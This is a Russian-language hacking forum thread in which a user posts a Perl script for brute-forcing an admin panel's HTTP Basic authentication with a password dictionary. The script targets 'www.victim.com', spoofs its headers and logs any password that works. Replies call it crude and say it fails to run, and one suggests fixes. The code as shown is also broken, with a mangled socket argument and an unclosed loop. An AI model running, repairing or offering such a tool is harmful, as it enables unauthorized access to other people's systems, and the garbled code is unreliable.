Brute admin password [perl]

Discussion in 'PHP' started by Звeрь, 31 Jan 2009.

  1. Звeрь

    Звeрь Banned

    Joined:
    25 Feb 2008
    Messages:
    0
    Likes Received:
    126
    Reputations:
    -6
    Brute admin password [perl]
    тестил на себе работает :D
    PHP:
    #!/usr/bin/perl

    use MIME::Base64;
    use 
    IO::Socket;
    use 
    POSIX

    $server="www.victim.com";### Адрес сервера
    $port="80";
    $dir="/admin";### путь к админке 
    $logfile="sucess.log"
    $log="now.log"
    $words="bigdict.txt";### список паролей 
    $user="admin"

    open(file"$words") or die print "$!\n";
    @
    data=<file>;
    $total=@data;
    close file

    $i=0;
    foreach 
    $pass (@data) {
    $i++;
    chomp($pass);
    open(file">$log") or die print "$!\n";
    $perc=($i*100)/$total
    $perc=ceil($perc); 
    print 
    file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"### Пишем в лог статус
    close file;
    $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
    chomp($auth);
    $socket=IO::Socket::INET->newPeerAddr => $server,
    PeerPort => $port,
    Photo => tcp)
    or die print 
    "Unable to connect to $server:$port\n";
    print 
    $socket "GET $dir HTTP/1.1\n"
    print 
    $socket "Host: $server\n";
    print 
    $socket "Accept: */*\n";
    print 
    $socket "Referer: http://support.microsoft.com/\n";
    print 
    $socket "User-Agent: Internet Explorer 6.0\n";
    print 
    $socket "Pragma: no-cache\n";
    print 
    $socket "Cache-Control: no-cache\n";
    print 
    $socket "Authorization: Basic $auth\n";
    print 
    $socket "Connection: close\n\n";
    $ans=<$socket>; 
    if (
    $ans=~/200 Ok/i) {
    open(logf">>$logfile") or die print "$!\n"
    print 
    logf "$user:$pass is OK!!!\n";
    close logf;
    exit 
    0;
     
  2. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    388
    Reputations:
    29
    такого шита в инете валом... для чего? как экземпел или типа my first elite tool?

    #!/usr/bin/perl -ewT print "Hello world\n"; #e0f :confused:
     
    2 people like this.
  3. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    144
    Likes Received:
    83
    Reputations:
    8
    придумывают крипторы для кода... вон достаточно адептом перла стать.... и хер кто расшифрует.
     
    1 person likes this.
  4. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    320
    Likes Received:
    356
    Reputations:
    18
    Это надо было бы пихнуть в раздел "Скрипты от скуки", а так , это только для новичков, но тоже полезно
     
  5. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    102
    Likes Received:
    22
    Reputations:
    5
    Сырой скрипт! И без реализации прокси совершенно бесполезный. Хотя если тренироваться на себе... :)
     
  6. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    518
    Likes Received:
    130
    Reputations:
    -13
    Что-то Зверь часто баянить стал....или просто под типа своё переделывает...
     
  7. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    48
    Likes Received:
    53
    Reputations:
    -1
    не работает вообще, даже не запускается
     
  8. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    102
    Likes Received:
    22
    Reputations:
    5
    Я и говорю что скрипт сырой. :) просто хендлы файловые надо в верхнем регистре переписать и имя протокола в кавычках записать в 33ей строчке. и все будет работать.

    PS Как ЭТО автор на себе тестил? На какой системе оно запустилось? :D
     
    #8 demond, 2 Feb 2009
    Last edited: 2 Feb 2009
Loading...